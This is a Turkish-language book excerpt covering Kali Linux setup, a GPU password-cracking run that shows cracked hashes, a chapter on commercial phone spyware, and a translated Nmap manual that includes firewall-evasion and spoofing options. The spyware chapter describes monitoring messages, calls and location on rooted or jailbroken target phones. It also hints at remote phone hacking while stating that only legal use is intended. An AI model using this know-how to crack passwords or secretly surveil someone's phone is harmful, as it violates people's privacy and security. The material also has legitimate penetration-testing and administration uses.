Debian Linux içindeki live-build kullanılarak güncel Kali ISO yaratılabilir. Ama<br />
önce aşğaıdaki paketler yüklenmelidir:<br />
apt-get install git live-build cdebootstrap<br />
Sonra Kali cdimage aşağıdaki gibi kopyalanır:<br />
git clone git://git.kali.org/live-build-config.git<br />
Şimdi aşağıdaki işlemlerle ISO yaratılabilir:<br />
cd live-build-config<br />
lb clean --purge<br />
lb config<br />
lb build<br />
Kali Masaüstünü değiştirme<br />
Varsayılan olarak Kali Gnome masaüstünü kullanır. Ama config/packagelists/kali.list.chroot<br />
dosyasında değişiklik yaparak aşağıdaki masaüstlerinden<br />
biri kulanılabilir.<br />
KDE<br />
Gnome<br />
LXDE<br />
kali-defaults<br />
kali-root-login<br />
desktop-base<br />
kde-plasma-desktop<br />
gnome-core<br />
kali-defaults<br />
kali-root-login<br />
desktop-base<br />
kali-defaults<br />
kali-root-login
XFCE<br />
I3WM<br />
MATE<br />
desktop-base<br />
lxde<br />
kali-defaults<br />
kali-root-login<br />
desktop-base<br />
xfce4<br />
xfce4-places-plugin<br />
# cheers to 0xerror<br />
xorg<br />
dmenu<br />
conky<br />
i3<br />
Yapılacak işlemler aşağıda sıralanmıştır:<br />
echo "deb http://repo.mate-desktop.org/debian wheezy main" >> /etc/apt/sources.list<br />
apt-get update<br />
apt-get install mate-archive-keyring<br />
# apt-get install git live-build cdebootstrap<br />
# git clone git://git.kali.org/live-build-config.git<br />
cd live-build-config<br />
mkdir config/archives<br />
echo "deb http://repo.mate-desktop.org/debian wheezy main" ><br />
config/archives/mate.list.binary<br />
echo "deb http://repo.mate-desktop.org/debian wheezy main" ><br />
config/archives/mate.list.chroot<br />
cp /usr/share/keyrings/mate-archive-keyring.gpg config/archives/mate.key.binary<br />
cp /usr/share/keyrings/mate-archive-keyring.gpg config/archives/mate.key.chroot<br />
echo "sleep 20" >> config/hooks/z_sleep.chroot<br />
# add mate desktop to the packages list:<br />
nano config/package-lists/kali.list.chroot<br />
# after editing, it should look like this:<br />
xorg<br />
mate-archive-keyring<br />
mate-core<br />
mate-desktop-environment<br />
Kali Linux Genel Kullanımı<br />
Kali Linux kaynak kod depoları<br />
/etc/apt/source.list içinde aşağıdaki depolar olmalıdır
deb http://http.kali.org/kali kali main non-free contrib<br />
deb http://security.kali.org/kali-security kali/updates main contrib non-free<br />
Kaynak kod depoları<br />
deb-src http://http.kali.org/kali kali main non-free contrib<br />
deb-src http://security.kali.org/kali-security kali/updates main contrib non-free<br />
Kanayan nokta depoları. Buradakiler otomatik üretilen paketlerdir.<br />
deb http://repo.kali.org/kali kali-bleeding-edge main<br />
#deb-src http://repo.kali.org/kali kali-bleeding-edge main<br />
NVIDIA Sürücüleri kullanma<br />
NVIDIA donanımını ve sürücülerini nasıl kullanılacağı burada anlatılmıştır.<br />
İlk adım sistemi güncellemek ve kernel başlıklarını indirmiş olmaktır.<br />
apt-get update<br />
apt-get dist-upgrade<br />
apt-get install -y linux-headers-$(uname -r)<br />
apt-get install nvidia-kernel-dkms<br />
Sonraki adım nouveau sürücüsünü kapatmaktır. Nouveau NVIDIA için açık<br />
kaynak sürücünün adıdır.<br />
sed 's/quiet/quiet nouveau.modeset=0/g' -i /etc/default/grub<br />
update-grub<br />
reboot<br />
Sistem yeniden başlatıldığında sürücülerin doğru yüklendiğini görmek için:<br />
root@kali:~# glxinfo | grep -i "direct rendering"<br />
direct rendering: Yes<br />
Aşağıdaki komutu Oclhashcat-plus kullanır:<br />
cd /usr/share/oclhashcat-plus/<br />
./cudaHashcat-plus.bin -t 32 -a 7 example0.hash ?a?a?a?a example.dict<br />
cudaHashcat-plus v0.14 by atom starting...<br />
Hashes: 6494 total, 1 unique salts, 6494 unique digests<br />
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes<br />
Workload: 256 loops, 80 accel<br />
Watchdog: Temperature abort trigger set to 90c<br />
Watchdog: Temperature retain trigger set to 80c<br />
Device #1: GeForce G210M, 511MB, 1468Mhz, 2MCU<br />
Device #2: GeForce 9400M G, 253MB, 1100Mhz, 2MCU<br />
Device #1: Kernel ./kernels/4318/m0000_a1.sm_12.64.ptx<br />
Device #2: Kernel ./kernels/4318/m0000_a1.sm_11.64.ptx
Generated dictionary stats for example.dict: 1210228 bytes, 129988 words, 129988 keyspace<br />
27b797965af03466041487f2a455fe52:mo0000<br />
a48dd0f09abaf64324be83ce86414b5f:ap2300000<br />
7becb9424f38abff581f6f2a82ff436a:sail00<br />
1459ccf0940e63051d5a875a88acfaaf:pigi00<br />
3baa3048651a65d1260eb521ab7c3bc0:ek110<br />
7a7a8220266f71f54f85685969ce999f:davi0123456789<br />
98c627ca129e64dfff3bf08fbaab6c86:fire01man<br />
Yukarıda kartların tanındığı ve şifrelerin yenilendiği görülür.<br />
Sanal kutu misafiri olarak Kali<br />
Sanal Kutu (VirtualBox) altında Kali yüklenecekse VirtualBox 4.2.xx ya da<br />
daha yüksek sürüm kullanılmalıdır. Kali bu ortamda kurulurken yapılacaklar<br />
şöyledir.<br />
Kali VirtualBox altında kurulduktan sonra başlatıldığında terminal penceresi<br />
açılmalı ve aşağıdaki komutla kernel başlıkları yüklenmelidir.<br />
apt-get update && apt-get install -y linux-headers-$(uname -r)<br />
Daha sonra Misafir eklentileri CD'si bağlanabilir. Böylece GuestAdditions iso<br />
sanal CD sürümüne bağlanmış olur. CD deki autorun kullanılması<br />
sorulduğunda “Cancel” düğmesine basılarak iptal edilir. Açılan terminal<br />
penceresinden VboxLinuxAdditions.run programı çalıştırılır.<br />
cp /media/cd-rom/VBoxLinuxAdditions.run /root/<br />
chmod 755 /root/VBoxLinuxAdditions.run<br />
cd /root<br />
./VboxLinuxAdditions.run
Yüklemeleri tamamlamak için VirtualBox Kali yeniden başlatılır.<br />
Kali ve Windows ikili işletim sistemi<br />
Burada yapılacak olan önceden yüklenmiş Windows diskinde ikinci bir disk<br />
alanı açmaktır. Bunu Windows dosya yönetimiyle de yapabilirsiniz. Aşağıda<br />
anlatılan yöntem Linux ortamında işi yapabilme biçimidir.<br />
Öncelikle Kali indirilir ve DVD üzerinde ISO disk yapılır. USB bellek üzerinde<br />
Kali Live yaratılır. Bilgisayarınızda Windows yanında Kali çin en az 8 GB yer<br />
olmalı ve USB/CD Sürücüden başlatma özelliği olmalıdır.<br />
Hazırlıklar tamamlanınca <strong>bilgisayar</strong> USB/CD sürücüden başlayacak konuma<br />
getirilmelidir.<br />
Kali başlatılınca “Live” ortam seçilir. Burada gparted programı çalıştırılır.
Bu program Windows disk alanını sıkıştırıp Kali için yetecek disk alanı açar.<br />
Burada windows alanını seçilir. Bu alan genelde ikinci büyük disk alanıdır.<br />
Windows alanı boyutu düzenlenirken Kali için (en az 8 GB) boş alan açılır.<br />
Alan açma işlemi tamamlanınca, sistem yeniden başlatılır. Bundan sonrası<br />
Kali'nin disk üzerine kurulumu ile aynıdır.<br />
Kurulum bitince <strong>bilgisayar</strong>ı yeniden başlatınca GRUB ekranı çıkar ve hangi<br />
işletim sistemini kullanacağınızı sorar.<br />
Bu konuda başka kurulum bilgileri de vardır. Gerekli ayrıntı<br />
http://docs.kali.org web sitesinden sağlanabilir.
BÖLÜM 8<br />
AKILLI TELEFONLARDA<br />
DİNLEME<br />
Burada akıllı telefonlarda kullanılabilen casus yazılımların en önemlilerinde söz<br />
edilecektir. Aslında doğru ve güvenilir bilgi bulmak çok kolay değildir. Adı casus<br />
yazılım olunca, yazılımın sizin <strong>bilgisayar</strong>ınızda da casusuluk yapmayacağını<br />
bilemezsiniz. Yani “Dimyata pirince giderken evdeki bulgurdan olmak” işten bile<br />
değildir.<br />
Aslında bu yazılımlar hakkında bilinmesi gereken çok şey vardır. Bunlar nasıl<br />
çalışır, nereye ve nasıl yüklenir türündeni ilk bilgilere ek olarak jailbreak ya da root<br />
işlemlerine girilince işler zor ve anlaşılması kolay olmayan konulara dönebilir.<br />
Burada açıklamaya çalışılan konular http://acisni.com/cell-phone-spy-softwarecomplete-guide/<br />
web sitesinde açıklanmıştır. Biz de oradaki anlatıma uygun<br />
bilgiler vermeye çalışacağız. Amacımız en uygun ve kullanışlı yazılımı en güvenilir<br />
kurumdan sağlamak olmalıdır. Çünkü kaç firmalarının paranızı alıp ortalardan<br />
kaybolması çok kolay olabilir. İnceleme yaptıklarını söyleyenler de hiç yükleyip<br />
kullanmamış olabilirler.<br />
Bu yazılımların yalnız yasal amaçlarla kullanımını anlatmaya çalışacağız. Yasa dışı<br />
işler bizden uzaktır. Yasal demekle incelenecek telefon size ait olmalıdır. Ya da<br />
yetişkin birine telefonunda dinleme yapıldığını bildirilmelidir. Yasal kalabilmek<br />
adına sizin dinleyebileceğiniz telefonlar, çocuklarınızın telefonları ya da şirket<br />
telefonları olabilir. Şirket telefonunu kullananı daha önce uyarmanız gerekir.<br />
Telefon casus yazılımları<br />
Bu yazılımlar, hedef telefona yüklendiğinde o telefondan yapılan bir çok<br />
işlemi izleyebilen yazılımlardır. BU yazılımların neler yapabildiklerini<br />
öğrenince ilginiz daha da artabilir. Burada yazılımların neler yapabildikleri<br />
genel anlamda anlatılmaya çalışılacaktır.<br />
Yeniler için StealthGenie, Mobile Spy, mSpy ve Özelliklerin karşılaştırılması<br />
biçiminde anlatılanları Ek-7'den okumaları önerilir.<br />
Yazılımlar genelde SMS mesajlarının izlenmesi, e-posta ve web tarihçesi ile<br />
telefon görüşmeleri listesini izlerler. Ayrıca GPS izleme de yaparlar. Bunlar<br />
en ucuz ödeme planlarında vardır.
Daha ayrıntılı izleme özelliklerini de sağlarlar. Doğal olarak bunlar daha<br />
pahalı ödeme planlarında yer alır. Bunların bazıları telefon görüşmelerini<br />
kaydetmek, WhataApp, Skype ve Viber gibi servisleri izlemek, sosyal medya<br />
kayıtlarının izlenmesi gibi hizmetleri de içermektedir.<br />
İzleme Yazılımları Sizin Telefonunuzda çalışır mı?<br />
Bu yazılımların çalışması için gerekenler herkesin kafasını karıştırır. Ama iki<br />
önemli nokta bulunmalıdır:<br />
iPhone için jailbreak alt yapısı olmalıdır. Yani bu yazılımlar jailbreak olmamış<br />
iPhone üzerine yüklenemez. İlgilenenler bu konuyu What is Jailbreaking ve<br />
How to Jailbreak an iPhone sitelerinden öğrenebilirler.<br />
Android için de root olmak gereklidir. Bazıları root olmak gereksiz derler ama<br />
örneğin WhatsApp izlemek için root gereklidir. Ayrıca Mobile Spy için de root<br />
gereklidir. Yani hedef telefonda bu yazılımlar root olunca yüklenebilir.<br />
Yazılımların telefon gereksinimleri<br />
Bu yazılımlar Internet bağlantısı olan telefonlarda kullanılabilir. Yani akıllı<br />
telefonlarda... Etkin veri akışı olması önemlidir ama Wi-Fi erişimi de kısıtlı<br />
olarak kullanılabilir. Tüm izleme bilgileri web bağlantısından aktarılır. Internet<br />
yoksa izleme de olmaz. Telefon kullanılan yazılımla uyumlu olmalıdır. Bunun<br />
için Phone Compatibility incelenebilir. Ayrıca, belki de en önemlisi, yazılım<br />
hedef telefondaki işletim sisteminde çalışabilmelidir.<br />
Yazılımlar nasıl çalışır?<br />
Casus yazılım hedef telefona yüklenir.<br />
Web bağlantısı üzerinden tüm bu bilgi firmanın sunucularına gönderilir.<br />
Sonra bu bilgileri görüntülemek için kullanıcı adı ve şifreyle sunucu web<br />
sitesine giriş yapılır.<br />
Casus yazılımı uzaktan yüklemek<br />
Web sitesinde bunun olanaksız olduğu anlatılıyor. Yani casus yazılım ancak<br />
telefonda fiziksel bağlantı ile yüklenebilirmiş. Bu konuda SpyzRus.net<br />
sitesindeki belgenin okunması önerilmektedir.<br />
Yukarıdaki açıklamadan, akıllı telefonu hack etme konusunda araştırma<br />
yapmak gerektiği anlaşılmaktadır. Belki hack etme yöntemleriyle uzaktan<br />
telefona erişilebilir. Ya da SpyzRus.net sitesinde belirtildiği gibi uydurma
yazılım alarak kendinizi kandırmış olursunuz. Ben biraz da hacker açısından<br />
olaya bakmak istedim. Ek-8'de Android telefonlarda kullanılan araçları<br />
anlatmaya çalıştım. Bazı araçlar telefonu hack için kullanmaya yararken,<br />
bazı araçlarla bir telefon nasıl hack edilir gibi kavramlar anlatılmıştır.<br />
İlgilenenler burada yazılanlara da bakabilir.<br />
Yazılım Yükleme<br />
Önce uygun yazılım seçilir. Belirtilen adresten yüklemesi yapılır. Ayarlar<br />
yapıldıktan sonra telefon kapatılıp yeniden başlatılır. İşlem bu kadar kolaydır.<br />
Ama yanlış yazılım seçilirse, Internet bağlantısı zayıfsa, izleme başarılı<br />
olamayabilir.<br />
Cep Telefonlarını Hackleme<br />
Bu konuda ayrıntılı bilgi ve kullanılabilecek yazılımlar Ek-8'de açıklanmıştır.<br />
Bu nedenle burada ayrıntıya girilmemiştir.
EK-1<br />
NMAP KULLANICI KİTABI<br />
İÇİNDEKİLER<br />
Açıklama<br />
Seçenekler (özet)<br />
Hedef tanımları<br />
Sunucu Belirleme<br />
Yerel kapı tarama<br />
Kapı tarama teknikleri<br />
Kapı tanımları ve tarama sırası<br />
Servis ve sürüm belirleme<br />
İşletim Sistemi belirleme<br />
Nmap komut makinesi (NSE)<br />
Zamanlama ve verim<br />
Güvenlik kalkanı/IDS kaçamakları ve gizlenme (spoofing)<br />
Çıktılar<br />
Diğer Seçenekler<br />
Çalışırken araya girme<br />
Örnekler
Açıklama<br />
Nmap (Network Mapper) ağları incelemek ve güvenlik sistemini denetlemek<br />
için hazırlanmış bir açık kaynak araçtır. Büyük ağları hızla taramak için<br />
tasarlanmıştır. Aslında tek sunucu için de doğru düzgün çalışabilir ama ham<br />
IP paketleri kullanarak ağda hangi sürücüler var, hangi servisler (uygulama<br />
adı ve sürümüyle) var bulabilir. Hangi işletim sistemlerinin kullanıldığı, nasıl<br />
bir güvenlik kalkanı kurulduğu bu programın genel özellikleri arasındadır.<br />
Birçok ağ ve sistem yöneticisi, ağda bulunan sunucular, yazılım sürümü gibi<br />
konularda nmap kullanmaktadır.<br />
Örnek bir nmap çıktısı:<br />
# nmap -A -T4 scanme.nmap.org<br />
Nmap scan report for scanme.nmap.org (74.207.244.221)<br />
Host is up (0.029s latency).<br />
rDNS record for 74.207.244.221: li86-221.members.linode.com<br />
Not shown: 995 closed ports<br />
PORT STATE SERVICE VERSION<br />
22/tcp open ssh OpenSSH 5.3p1 Debian 3ubuntu7 (protocol 2.0)<br />
| ssh-hostkey: 1024 8d:60:f1:7c:ca:b7:3d:0a:d6:67:54:9d:69:d9:b9:dd (DSA)<br />
|_2048 79:f8:09:ac:d4:e2:32:42:10:49:d3:bd:20:82:85:ec (RSA)<br />
80/tcp open http Apache httpd 2.2.14 ((Ubuntu))<br />
|_http-title: Go ahead and ScanMe!<br />
646/tcp filtered ldp<br />
1720/tcp filtered H.323/Q.931<br />
9929/tcp open nping-echo Nping echo<br />
Device type: general purpose<br />
Running: Linux 2.6.X<br />
OS CPE: cpe:/o:linux:linux_kernel:2.6.39<br />
OS details: Linux 2.6.39<br />
Network Distance: 11 hops<br />
Service Info: OS: Linux; CPE: cpe:/o:linux:kernel<br />
TRACEROUTE (using port 53/tcp)<br />
HOP RTT ADDRESS<br />
[Cut first 10 hops for brevity]<br />
11 17.65 ms li86-221.members.linode.com (74.207.244.221)<br />
Nmap done: 1 IP address (1 host up) scanned in 14.40 seconds
Seçenekler (özet olarak)<br />
Eğer nmap parametreler yazılmadan çalıştırılırsa kullanılabilecek parametre<br />
seçenekleri elde edilir.<br />
Nmap 6.26SVN ( http://nmap.org )<br />
Usage: nmap [Scan Type(s)] [Options] {target specification}<br />
Kullanım: nmap [Tarama türleri] [Seçenekler] {hedef özellikleri}<br />
TARGET SPECIFICATION: (HEDEF ÖZELLİKLERİ)<br />
Can pass hostnames, IP addresses, networks, etc.<br />
Sunucu adı, IP adresi, ağlat vb. kullanılabilir<br />
Ex: scanme.nmap.org, microsoft.com/24, 192.168.0.1; 10.0.0-255.1-254<br />
Örneğin: scanme.nmap.org, microsoft.com/24, 192.168.0.1; 10.0.0-255.1-254<br />
-iL : Input from list of hosts/networks<br />
giriş olarak sunucu/ağ_maskesi listesi<br />
-iR : Choose random targets<br />
Rastgele hedefler seç<br />
--exclude : Exclude hosts/networks<br />
sunuc/ağ_maskesi ile belrtilenleri dışla<br />
--excludefile : Exclude list from file<br />
dışlanacaklar listesini doyadan al<br />
HOST DISCOVERY:<br />
-sL: List Scan - simply list targets to scan<br />
taranacak hedefleri listele<br />
-sn: Ping Scan - disable port scan<br />
kapı taramasını kapat<br />
-Pn: Treat all hosts as online -- skip host discovery<br />
Sunucu bulmayı atla<br />
-PS/PA/PU/PY[portlist]: TCP SYN/ACK, UDP or SCTP discovery to given ports<br />
istenen kapılarda buluş yap<br />
-PE/PP/PM: ICMP echo, timestamp, and netmask request discovery probes<br />
yankı, zaman damgası ve ağ maskesi istekleri için sorgulama bulma<br />
-PO[protocol list]: IP Protocol Ping<br />
IP protokolünde ping<br />
-n/-R: Never do DNS resolution/Always resolve [default: sometimes]<br />
DNS çözümü arama/her zaman ara [varsayılanı: bazen]<br />
--dns-servers : Specify custom DNS servers<br />
DNS sunucularının tanımlanması<br />
--system-dns: Use OS's DNS resolver<br />
İşletim sisteminin DNS çözümlemesini kullan<br />
--traceroute: Trace hop path to each host<br />
Her sunucu için “hop” yolunu tara<br />
SCAN TECHNIQUES: (Tarama Teknikleri)<br />
-sS/sT/sA/sW/sM: TCP SYN/Connect()/ACK/Window/Maimon scans<br />
TCP SYN/Connect()/ACK/Window/Maimon taramaları yap<br />
-sU: UDP Scan<br />
UDP taraması yap<br />
-sN/sF/sX: TCP Null, FIN, and Xmas scans<br />
TCP Null, FN ve Xmas taraması yap<br />
--scanflags : Customize TCP scan flags<br />
TCP tarama kodlarını ayarla<br />
-sI : Idle scan<br />
Boş taraması yap<br />
-sY/sZ: SCTP INIT/COOKIE-ECHO scans<br />
INIT/COOKIE-ECHO taraması yap
-sO: IP protocol scan<br />
IP protokol taraması yap<br />
-b : FTP bounce scan<br />
FTP sekme taraması yap<br />
PORT SPECIFICATION AND SCAN ORDER: (Kapı tanımı ve tarama sırası)<br />
-p : Only scan specified ports<br />
Ex: -p22; -p1-65535; -p U:53,111,137,T:21-25,80,139,8080,S:9<br />
Yalnız belirtilen kapıları tara<br />
Örneğin: -p22; -p1-65535; -p U:53,111,137,T:21-25,80,139,8080,S:9<br />
-F: Fast mode - Scan fewer ports than the default scan<br />
Varsayılan taramadan daha az kapı tara<br />
-r: Scan ports consecutively - don't randomize<br />
Kapıları peş peşe tara rastgele sıralama<br />
--top-ports : Scan most common ports<br />
En çok bilinen kadar kapıyı tara<br />
--port-ratio : Scan ports more common than <br />
En çok bilinen kapılardan ilk kadar olanını tara (ratio = oran)<br />
SERVICE/VERSION DETECTION: (Servis/Sürüm Bulma)<br />
-sV: Probe open ports to determine service/version info<br />
Açık kapıları servis/sürüm bulmak için sorgula<br />
--version-intensity : Set from 0 (light) to 9 (try all probes)<br />
sıfıran (hafif) 9'a (tüm sorguları dene) kadar değişen değer ata<br />
--version-light: Limit to most likely probes (intensity 2)<br />
En uygun sorguyla sınırla (intesity 2)<br />
--version-all: Try every single probe (intensity 9)<br />
Her bir sorguyu dene (intensity 9)<br />
--version-trace: Show detailed version scan activity (for debugging)<br />
Tarama işleminin ayrıntılarını göster<br />
SCRIPT SCAN: (Program tarama)<br />
-sC: equivalent to –script=default<br />
“-script=default” demekle eş değerdir.<br />
--script=: is a comma separated list of<br />
directories, script-files or script-categories<br />
virgüllerle ayrılmış dosya yolları, program dosyaları ya da program sınıfları listesidir.<br />
--script-args=: provide arguments to scripts<br />
Programlara parametre değeri sağlar<br />
--script-args-file=filename: provide NSE script args in a file<br />
NSE program parametre değerlerini dosyadan sağlar<br />
--script-trace: Show all data sent and received<br />
Gönderilen ve alınan tüm verileri göster<br />
--script-updatedb: Update the script database.<br />
Program veri tabanını güncelle<br />
--script-help=: Show help about scripts.<br />
Programlar için yardımı göster.<br />
is a comma separted list of script-files or<br />
script-categories.<br />
virgülle ayrılmış program dosyaları ya da program sınıfları listesidir.<br />
OS DETECTION:<br />
-O: Enable OS detection<br />
işletim sistemi bulmayı aç<br />
--osscan-limit: Limit OS detection to promising targets<br />
Söz verilen hedefler için işletim sistemi bulmayı sınırla<br />
--osscan-guess: Guess OS more aggressively<br />
İşletim Sistemini daha istekli tahmin et
TIMING AND PERFORMANCE:<br />
Options which take are in seconds, or append 'ms' (milliseconds),<br />
's' (seconds), 'm' (minutes), or 'h' (hours) to the value (e.g. 30m).<br />
ile belirtilen seçenek saniye türündendir. Ardına “ms” eklenince<br />
mili saniye olur. Dakika için “m”, saat için “h” eklenir.<br />
-T: Set timing template (higher is faster)<br />
zaman şablonunu ayarla (yükseldikçe hızlanır)<br />
--min-hostgroup/max-hostgroup : Parallel host scan group sizes<br />
paralel sunucu tarama grup boyu<br />
--min-parallelism/max-parallelism : Probe parallelization<br />
sorgu paralelleştirilmesi<br />
--min-rtt-timeout/max-rtt-timeout/initial-rtt-timeout : Specifies<br />
probe round trip time.<br />
Sorgu dönme zamanını belirtir<br />
--max-retries : Caps number of port scan probe retransmissions.<br />
Kapıya gönderilecek sorgunun yeniden gönderilme aralığı<br />
--host-timeout : Give up on target after this long<br />
Hedeften bu süre dolunca vazgeç<br />
--scan-delay/--max-scan-delay : Adjust delay between probes<br />
Sorgular arasındaki beklemeyi ayarla<br />
--min-rate : Send packets no slower than per second<br />
Paketleri belirtilen saniyeden daha yavaş gönderme<br />
--max-rate : Send packets no faster than per second<br />
Paketleri belirtilen saniyeden hızlı gönderme<br />
FIREWALL/IDS EVASION AND SPOOFING:<br />
-f; --mtu : fragment packets (optionally w/given MTU)<br />
paketleri parçalama (MTU verme seçeneği ile)<br />
-D : Cloak a scan with decoys<br />
tuzaklı taramayı pelerinle gizle<br />
-S : Spoof source address<br />
Kaynak adresini atlat<br />
-e : Use specified interface<br />
Belirtilen arayüzü kullan<br />
-g/--source-port : Use given port number<br />
Belirtilen kapı numarasını kullan<br />
--data-length : Append random data to sent packets<br />
Giden paketlere rastgele veri ekle<br />
--ip-options : Send packets with specified ip options<br />
Paketleri belirtilen IP seçenekleriyle gönder<br />
--ttl : Set IP time-to-live field<br />
IP bırakma zamanını ayarlama alanı<br />
--spoof-mac : Spoof your MAC address<br />
sizin MAC adresinizi atlat<br />
--badsum: Send packets with a bogus TCP/UDP/SCTP checksum<br />
Hatalı toplama denetimi olan paketler gönder<br />
OUTPUT: (ÇIKTI)<br />
-oN/-oX/-oS/-oG : Output scan in normal, XML, s|
--open: Only show open (or possibly open) ports<br />
yalnız açık kapıları göster<br />
--packet-trace: Show all packets sent and received<br />
Alınan ve gönderilen tüm paketleri göster<br />
--iflist: Print host interfaces and routes (for debugging)<br />
sunucu arayüzlerini ve yönlendirmelerini göster<br />
--log-errors: Log errors/warnings to the normal-format output file<br />
normal çıktı dosyasına hata ve uyarıları yazdır<br />
--append-output: Append to rather than clobber specified output files<br />
çıktı dosyasının ardına ekle<br />
--resume : Resume an aborted scan<br />
durmuş, bozulmuş taramayı devam ettir.<br />
--stylesheet : XSL stylesheet to transform XML output to HTML<br />
XML çıktısını HTML'e çevirmek için XSL stil sayfasını tanımlama<br />
--webxml: Reference stylesheet from Nmap.Org for more portable XML<br />
Daha taşınabilir XML yaratmak için stil sayfasını nmap.org'dan sağla<br />
--no-stylesheet: Prevent associating of XSL stylesheet w/XML output<br />
XML çıktıları için XSL kullanımını kaldır.<br />
MISC: (DİĞER)<br />
-6: Enable IPv6 scanning (IPv6 taramasını aç)<br />
-A: Enable OS detection, version detection, script scanning, and traceroute<br />
(İşletim sistemi, sürüm, program taramasını aç ve iletişim yolunu izle)<br />
--datadir : Specify custom Nmap data file location<br />
(değiştirilen nmap dosya yolunu belirle)<br />
--send-eth/--send-ip: Send using raw ethernet frames or IP packets<br />
(IP paketlerini ve ham ethernet parçalarını kullan)<br />
--privileged: Assume that the user is fully privileged<br />
(kullanıcı tümüyle yetkili varsay)<br />
--unprivileged: Assume the user lacks raw socket privileges<br />
(kullanıcı yetkili değil varsay)<br />
-V: Print version number<br />
(sürüm numarasını yazdır)<br />
-h: Print this help summary page.<br />
(Bu yardım özetini yazdır)<br />
EXAMPLES: (ÖRNEKLER)<br />
nmap -v -A scanme.nmap.org<br />
nmap -v -sn 192.168.0.0/16 10.0.0.0/8<br />
nmap -v -iR 10000 -Pn -p 80<br />
DAHA ÇOK SEÇENEK VE ÖRNEK İÇİN (http://nmap.org/book/man.html) ADRESİNE BAKIN.
Hedef tanımları<br />
Komut satırında seçenek olarak gösterilmeyen her şey hedef sunucuyu<br />
tanımlar. En temel olanı taranacak sunucunun adı ya da IP numarasının<br />
yazılmasıdır. Bazı koşullarda ağdaki tüm sunucuların taranması istenebilir.<br />
Bu durumda nmap CIDR türü IP adresi yazılımına olanak verir (/bit_sayısı).<br />
Bu durumda ilk /bit_sayısı kadar sunucu IP adresi eşit olanlar taranır.<br />
En küçük /bit_sayısı /0 olur ki tüm Internet demektir. Ama 192.168.1.2/24<br />
yazıldığında 192.168.1 ile başlayan tüm sunucular taranacak demektir.<br />
Genelde hedef sunucular komut satırında yazılsa da -iL <br />
biçiminde bir tanımla (parametre seçeneğiyle) hedef sunucular dosyadan<br />
alınabilir. Bu dosyada açıklamalar ilk kolonunda # olan satırlarda bulunur.<br />
Internet taramalarında ya da başka tür geniş tarama ortamlarında -iR<br />
komutuyla belirtilen sayıda rastgele seçilmiş sunucular<br />
taranır.<br />
Bazı durumlarda tarama yapılacak sunuculardan istenmeyenler olabilir.<br />
Bunları “-–exclude sunucu-1 sunucu-2 ... sunucu-n” biçiminde yazabiliriz ya<br />
da bu sunucuların IP adreslerini bir dosyaya yazıp “-–excludefile dosya_adı”<br />
biçiminde yazarak kullanabiliriz.<br />
Sunucu Belirleme<br />
Sunucu belirlemede yapılacak ilk iş kocaman bir ağda ilgilenilecek etkin<br />
sunucu sayısını gerekli sayıya indirgemektir. Bir ağdaki sunucuların tüm<br />
kapılarını taramak hem yavaş hem de gereksizdir. Ama burada işin ilginç<br />
yanı tarama amacı olduğunu da unutmamak gerekir. Ağ yöneticisi belirli bir<br />
kapısı kullanan sunucularla ilgilenirken güvenlik yöneticisi tüm ağdaki tüm<br />
IP'lerle ilgilenmek isteyecektir. Bir yönetici için yalnız ICMP ping göndererek<br />
sunucunun çalıştığını öğrenmesi yeterli olabilecektir. Ama dışarından ağa<br />
sızan biri için birçok konunun incelenmesi güvenlik kalkanının durumunun<br />
anlaşılması için önemli olabilir. İsteklerin çok değişik olması göz önünde<br />
bulundurularak nmap seçenekleri de oldukça geniş bir yelpazeyi içerecek<br />
biçimde düzenlenmiştir. Bazen kullanıcı “ping” adımını tümüyle atlayabilir,<br />
bazı koşullarda birçok kapı için TCP SYN/ACK, UDP, SCTP INIT ve ICMP<br />
karışımını kullanabilir.<br />
Aşağıdaki parametre seçenekleri sunucu belirlemede kullanılabilir:<br />
-sL (tarama_listesi)<br />
Taranacak sunucuların listesi bu parametre ile belirtilir. Bu biçimde<br />
tanımlanmış olsa bir nmap ters IP taraması yaparak sunucunun adını<br />
almak ister. Kapı taraması, ping taraması, işletim sistemi saptama gibi<br />
daha yüksek seçenekler bununla beraber kullanılamaz. Bu parametre<br />
taranacak sunucuların listesini verir.
-sn (kapı taraması yok)<br />
Sunucuyu bulduktan sonra kapı taraması yapılmamasını söyler. Burada<br />
amaç fazla ayrıntıya girmeden ağdaki sunucuları bulmaktır. Buna<br />
“ping” taraması da denir. Sistem Yöneticileri bunu kullanışlı bulabilirler.<br />
Amaçları sunucu ve servislerin çalıştığını görmek olduğundan ayrıntıya<br />
girmek gerekmez. -sn seçeneğinde yapılanlar ICMP istek yankısı, 443<br />
nolu kapıya TCP SYN, 80 nolu kapıya TCP ACK vw ICMP zaman<br />
damgasıdır. Yetkisiz biri tarafından çalıştırıldığında yalnız SYN<br />
komutları üretilir. Yetkili biri kullandığında –sendIP seçeneği yoksa<br />
sunucu adı da bu komutla elde edilir. Eski sürümlerde -sn -sP olarak<br />
bilinirdi.<br />
-PS (TCP SYN)<br />
SYN alanı atanmış olan boş bir ping paketi gönderir. Varsayılan kapı<br />
nosu 80 olarak belirlenmiştir. Diğer kapılar da tanımlanabilir. Dil kuralı<br />
-p de olduğu gibidir ama kapı türü için T: tanımlamak gerekmek.<br />
Örneğin -PS22 ve -PS22-25,80,113,1050,35000 gibi yazım yapılabilir.<br />
-PA (TCP ACK)<br />
PS SYN ile aynı biçimde tanımlanır. Buradaki fark SYN yerine ACK<br />
ataması yapılmış ping komutu vardır. Yetkisiz biri kullanırsa “connect”<br />
komutu SYN ataması yapılarak işleme girer ACK kullanılmaz.<br />
-PU (UDP)<br />
Bu komutla kapılara UDP paketleri gönderilir. Pek çok kapı için UDP<br />
komut boş olur ama bazı özel protokoller için UDP komutunda<br />
protokole özel veri de bulunmalıdır. Ayrıntılı bilgi için<br />
http://nmap.org/book/nmap-payloads.html adresine baş vurabilirsiniz.<br />
“--data-legth” seçeneği her kapıya belirtilen uzunlukta rastgele veri<br />
göndermeyi sağlar. “--data-length” 0 seçeneği veri uzunluğunu sildiği<br />
için boş UDP mesajı gönderilmiş olur. Kapı listesi -PS ve _PA<br />
seçeneklerindeki gibidir. Varsayılan kapı numarası 40125 olarak<br />
belirlenmiştir.<br />
Eğer kapı kapalıysa UDP paket port'a erişilemiyor türü ICMP paketi<br />
döndürür. Bu seçeneğin en önemli yararı yalnız TCP güvenlik kalkanı<br />
olan ağlarda güvenlik kalkanını delip geçmesidir.<br />
Örneğin eskiden Linksys BEFW11S4 kablosuz ADSL cihazı TCP<br />
kapılarını varsayan olarak bloklamaktayken UDP kapıları açık<br />
kalmaktaydı.
-PY (SCTP INIT)<br />
